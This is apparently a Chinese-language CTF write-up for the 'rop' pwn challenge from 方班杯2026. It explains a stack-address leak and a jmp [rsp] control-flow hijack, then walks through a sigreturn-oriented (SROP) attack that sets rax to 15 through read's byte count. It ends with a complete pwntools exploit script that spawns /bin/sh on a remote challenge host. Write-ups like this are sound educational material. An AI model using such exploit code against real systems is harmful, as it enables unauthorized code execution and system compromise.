rop

方班杯2026rop (2).png

先看保护,这里什么都没开,但是看似栈可执行,实际上测试过程中栈是不可执行的,所以说不能直接ret2shellcode

方班杯2026rop (1).png

汇编是:

; void __fastcall start(__int64)
public _start
_start proc near

var_8= qword ptr -8

mov     rsi, offset msg1 ; p_msg1
mov     edx, 17Bh       ; n379
call    print
push    rsp
mov     rsi, rsp        ; p_msg1
mov     edx, 8          ; n379
call    print
mov     rsi, offset msg2 ; p_msg1
mov     edx, 235h       ; n379
call    print
xor     rax, rax
xor     rdi, rdi        ; fd
mov     rsi, rsp        ; buf
mov     edx, 539h       ; count
syscall                 ; LINUX - sys_read
jmp     [rsp+8+var_8]
_start endp

_text ends

这题的文件内容很少,就两个点,一个是会先泄露一个retaddr的栈地址,通过这个栈地址我们能获得msg1(read的buf)的地址,也就是retaddr-0x8

第二个点就是看汇编我们可以看到,这里向rsp位置读入,然后jmp [rsp],也就是最后会跳到我们read进去的第一个地址,所以这里能控制程序执行流,我们前面又泄露了buf的地址,sh字符串直接放栈上反正我们也知道栈的地址
这里gadget不太够,例如rax和rdx的gadgete就没有,而且其他的gadget很多不是ret结尾的,

但是这里有syscall
这里用SROP的方法,关于SROP的原理可以自己搜一下,也可以看我这篇only_read - Zenquietus里的关于srop的原理的部分,里面讲的比较简单。

frame = SigreturnFrame(kernel='amd64')
frame.rax = 59
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
frame.rsp = buf + 0x500

这里是伪造一个SigContext结构体,把它放到触发sigreturn时的rsp的位置就行了

我们下一步就是触发sigreturn了,也就是我们要控制rax为15然后调用syscall,这里没有控rax的gadget,我们利用read的读取字节数会存在rax里来控制rax为15

stage1 = p64(read_again)
stage1 += p64(syscall)
stage1 += bytes(frame)
stage1 = stage1.ljust(0x300, b"\x00")
stage1 += b"/bin/sh\x00"

这里read_again就是

xor     rax, rax
xor     rdi, rdi        ; fd
mov     rsi, rsp        ; buf
mov     edx, 539h       ; count
syscall                 ; LINUX - sys_read
jmp     [rsp+8+var_8]

会再次读取一次,这一次我们发送15字节,让rax为15,读入后栈上就变成了:

buf + 0x00 : ret
buf + 0x08 : syscall
buf + 0x10 : fake frame

然后又jmp[rsp],也就是从ret开始往下执行,
执行 syscall,此时:
rax = 15
rsp = buf + 0x10
rsp 指向 fake frame
于是触发 rt_sigreturn,会用我们伪造好的SigContext结构体,把寄存器成功设置成我们想要的值,就成功getshell了

EXP:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
target = '47.98.139.78:32937'

file_name = "./vuln"

elf = ELF(file_name)
context.binary = elf

gdb_   = 1 if ('gdb' in sys.argv)        else 0
switch = 1 if ('remote' in sys.argv)     else 0
debug  = 0 if ('deoff'  in sys.argv)     else 1
error  = 1 if ('error'  in sys.argv)     else 0

if debug:
    context(log_level='debug')

if error:
    context(log_level='error')

bps = [
# 0x1234,
# 'main',
# (0xe3b31, 'libc'), 
# ('system', 'libc')
0x100a
]

gdb_cmd = ''
if gdb_ and switch == 0:
    gdb_cmd += "set breakpoint pending on\n"
    for b in bps:
       if isinstance(b, int):
           gdb_cmd += f"b *$rebase({hex(b)})\n"
       elif isinstance(b, str):
           gdb_cmd += f"b {b}\n"
    gdb_cmd += "c\n"

if switch:
   parts = target.replace(':', ' ').split()
   host = parts[-2]
   port   = int(parts[-1])
   use_ssl = '--ssl' in parts
   p = remote(host, port, ssl=use_ssl, sni=host if use_ssl else None)
elif gdb_:
   p = gdb.debug(file_name, gdbscript=gdb_cmd, aslr=True)
else:
   p = process(file_name)

def s(data):             return p.send(data)
def sa(delim, data):     return p.sendafter(delim, data)
def sl(data):            return p.sendline(data)
def sla(delim, data):    return p.sendlineafter(delim, data)
def r(numb=4096):        return p.recv(numb)
def ru(delim, drop=True):return p.recvuntil(delim, drop)
def rl(bool):            return p.recvline(keepends=bool)
def ra(t=None):          return p.recvall(timeout=t)
def rn(numb):            return p.recvn(numb)
def cl():                return p.close()
def it():                return p.interactive()
def uc64(data):          return u64(data.rjust(8, b'\x00'))
def uu64(data):          return u64(data.ljust(8, b'\x00'))
def addr(off):           return lg(hex(off), (ret := elf.address + off)) or ret
def cb(data):            return data if isinstance(data, bytes) else str(data).encode()
def lg(name, data):      return log.success(name + ': ' + (hex(data) if isinstance(data, int) else data.decode(errors='ignore') if isinstance(data, bytes) else str(data)))
def menu(idx, pmt=b'>'): return sla(pmt, str(idx).encode())
def bl(address):         return (address).to_bytes(3, 'big')
def bt(*values):         return bytes([v & 0xff for v in values])
def ntpie(leak, offset, name='PIE'):  return setattr(elf, 'address', leak - (elf.sym[offset] if isinstance(offset, str) else offset)) or lg(name, elf.address)
def base(val, binary=elf):            return binary.address + val  
def fill(num, content=b'A'):          return (content.encode() if isinstance(content, str) else content) * num
def se(s): return lg(s if isinstance(s, str) else f"bytes: {s.hex()}", (addr := next(elf.search(s if isinstance(s, bytes) else s.encode())))) or addr
def shn(target, current_printed):     return [((target & 0xffff) - current_printed) % 0x10000, current_printed + (((target & 0xffff) - current_printed) % 0x10000)]
def shhn(target, current_printed):    return [((target & 0xff) - current_printed) % 0x100, current_printed + (((target & 0xff) - current_printed) % 0x100)]

_rop_cache = {}
def gg(s):
   target = elf
   if target not in _rop_cache:
       _rop_cache[target] = ROP(target)
   rop = _rop_cache[target]
   instrs = [x.strip() for x in s.split(';')]
   if (gadget := rop.find_gadget(instrs)):
       lg(s, gadget.address)
       return gadget.address
   else:
       raise ValueError(f"[-] Critical: Gadget not found: {s}")

def ga(delim=b'|', name='Leak', data=None):
    target_data = p.recv(data) if isinstance(data, int) else (data if data else ru(delim))
    if isinstance(target_data, str):
        target_data = target_data.encode()
    hex_list = re.findall(b'0x[0-9a-fA-F]+', target_data)
    return [lg(f'{name}[{i}]', x) or x for i, x in enumerate([int(a, 16)for a in hex_list])]
#################################################################################
rn(0x17b)
leak = uu64(rn(8))
lg("leak", leak)

ret = 0x401013
syscall = 0x40100a
read_again = 0x401069

ru(b">>")

buf = leak - 8
binsh_addr = buf + 0x2f0

frame = SigreturnFrame(kernel='amd64')
frame.rax = 59
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
frame.rsp = buf + 0x500

stage1 = p64(read_again)
stage1 += p64(0)
stage1 += bytes(frame)
stage1 = stage1.ljust(0x300, b"\x00")
stage1 += b"/bin/sh\x00"

s(stage1)
stage2 = p64(ret) + p64(syscall)[:7]
s(stage2)

it()

题目链接:CTF-Writeups/方班杯2026/rop at main · Zenquiem/CTF-Writeups


rop
https://zenquietus.top/archives/wei-ming-ming-wen-zhang-Ex3tgvqh
作者
ZenDuk
发布于
2026年04月28日
许可协议